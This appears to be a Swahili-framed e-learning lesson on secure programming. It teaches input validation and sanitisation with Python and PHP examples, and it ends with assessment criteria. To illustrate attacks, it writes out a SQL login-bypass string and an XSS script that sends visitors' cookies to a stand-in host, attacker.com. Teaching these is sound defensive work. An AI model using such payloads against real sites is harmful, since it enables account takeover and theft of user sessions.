Mada za sehemu hiiPractising safe programming practicesMada 2
- Performing sanitisation and validation of user inputs
- Performing prevention of injections attacks
Performing Sanitisation and Validation of User Inputs
When a user enters data into a program — such as filling a form, typing a search term, or sending a message — that data is called user input. If a program uses this input directly without checking or cleaning it, attackers can inject harmful code. This is one of the most common ways hackers break into applications. Therefore, every program that accepts user input must perform two critical tasks: validation and sanitisation.
SQL Injection
SQL injection occurs when an attacker enters SQL commands into input fields instead of normal data. If the program inserts this input directly into a database query without protection, the attacker can read, modify, or delete database records.
Example: A login form asks for a username. An attacker types: ' OR '1'='1 . If the program builds the query like this:
SELECT * FROM users WHERE username = '" + input + "'"
The query becomes:
SELECT * FROM users WHERE username = '' OR '1'='1'
Since '1'='1' is always true, the attacker gains access without knowing any password.
Cross-Site Scripting (XSS)
XSS happens when a program displays user input on a webpage without cleaning it. Attackers inject malicious JavaScript code that runs in the browser of anyone who views the page. This can steal session cookies, redirect users, or display fake content.
Example: A comment section displays user input directly. An attacker enters: <script>document.location='http://attacker.com?cookie='+document.cookie</script>
When other users view the comment, their cookies are sent to the attacker's server.
Input validation means checking whether the data entered by the user meets certain rules before the program processes it. Validation should happen as soon as the user submits data.
Common Validation Rules
- Length check — Does the input have the expected number of characters?
- Type check — Is the input the correct data type (number, text, email)?
- Range check — Is a number within acceptable limits?
- Pattern check — Does the input match a required format (like a phone number or email address)?
- Whitelist approach — Accept only known good values, reject everything else.
Example: Validating a Phone Number
def validate_phone(phone):
# Phone must be exactly 10 digits
if len(phone) != 10:
return False
if not phone.isdigit():
return False
return True
Input sanitisation means cleaning the input to remove or escape any dangerous characters before using it. Even if validation passes, sanitisation adds an extra layer of protection.
Sanitisation Techniques
- Escape special characters — Replace characters like
',",<,>with safe equivalents so they cannot be interpreted as code. - Remove unwanted characters — Strip out any characters that serve no purpose in the data.
- Use prepared statements — In database queries, use parameterised queries that separate code from data.
- Encode output — When displaying data on a webpage, encode characters so they appear as text rather than HTML.
Example: Escaping User Input for SQL
import sqlite3
def login_user(username, password):
conn = sqlite3.connect("users.db")
cursor = conn.cursor()
# Use parameterized query (prevents SQL injection)
query = "SELECT * FROM users WHERE username = ? AND password = ?"
cursor.execute(query, (username, password))
result = cursor.fetchone()
conn.close()
return result is not None
In this example, the ? placeholders are replaced safely by the database library, so any SQL code in the username or password is treated as literal text.
A simple PHP form collects a user's name and age. The student must apply both validation and sanitisation.
<?php
$name = $_POST['name'];
$age = $_POST['age'];
// Step 1: Validation
$errors = [];
if (empty($name)) {
$errors[] = "Name is required";
} elseif (strlen($name) > 50) {
$errors[] = "Name must be 50 characters or less";
}
if (empty($age)) {
$errors[] = "Age is required";
} elseif (!is_numeric($age) || $age < 1 || $age > 150) {
$errors[] = "Age must be a valid number between 1 and 150";
}
// Step 2: Sanitisation (if validation passed)
if (empty($errors)) {
$name = htmlspecialchars($name, ENT_QUOTES, 'UTF-8');
$age = (int)$age; // Convert to integer
echo "Welcome, " . $name . "! You are " . $age . " years old.";
} else {
foreach ($errors as $error) {
echo "<p>Error: $error</p>";
}
}
?>
In this example:
- Validation checks that the name is present and not too long, and that the age is a realistic number.
- Sanitisation uses
htmlspecialchars()to convert characters like<and>into safe HTML entities, preventing XSS attacks. - The age is cast to an integer using
(int)to ensure it is a whole number.
- Validation checks if input is correct before processing.
- Sanitisation cleans input to remove dangerous elements.
- Together, they protect applications from SQL injection, XSS, and other attacks.
- Always validate on the server side, not just the client side, because client-side checks can be bypassed.
- Use prepared statements for database queries and encode output for web pages.
In Tanzania, mobile money services like M-Pesa are widely used for sending and receiving money. When a small business owner in Arusha builds a simple inventory app to track stock and sales, the app must validate and sanitise all customer inputs — such as product names, quantities, and prices entered through a form. Without this protection, an attacker could inject malicious code through the input fields, potentially stealing customer phone numbers or tampering with transaction records stored in the database. Applying proper input handling keeps the business data safe and maintains customer trust.
Jinsi utakavyotathminiwaTathmini ya mchakato · Tathmini ya matokeo · Tathmini ya maarifa
Tathmini ya mchakato
e student should be le to: Identify and implement appropriate sanitisation and validation techniques for different input types. Integrate validation checks at critical points in the application. 130 131
Tathmini ya matokeo
User inputs are appropriately sanitised and validated against predefined rules.
Tathmini ya maarifa
Methods used: The trainee should explain how to:
- Use regular expressions and data validation libraries to verify input format.
- Implement sanitisation methods to remove or neutralise harmful data.
- Apply input validation at both client and server sides to ensure robust security.
Principles: The student should explain the principle of:
- Whitelisting allowed input formats to ensure strict validation.
- Escaping special characters to prevent injection attacks.
Theories: The trainee should explain: The trainee should explain:
- How improper input validation can lead to critical vulnerabilities like SQL injection, XSS, or buffer overflow.
- The role of input validation in preventing the propagation of malicious data.
Detailed knowledge about:
- Data validation techniques specific to application contexts, such as numeric, date, and string inputs.
- Threats posed by unescaped characters in SQL queries, HTML, or script tags.
- Best practices for validating user inputs in web applications, mobile apps, and APIs.
Swali
What is the primary purpose of input validation?
Ingia ili kuwasilisha jibu lako na lihesabiwe katika umahiri wako.
Ingia ili kufanya mazoeziMwalimu
Umekwama? Niulize chochote kuhusu mada hii.
Ingia ili kumuuliza Mwalimu wa AI wa Sonza kuhusu swali hili.
Ingia ili kuulizaMajadiliano
Hakuna maswali bado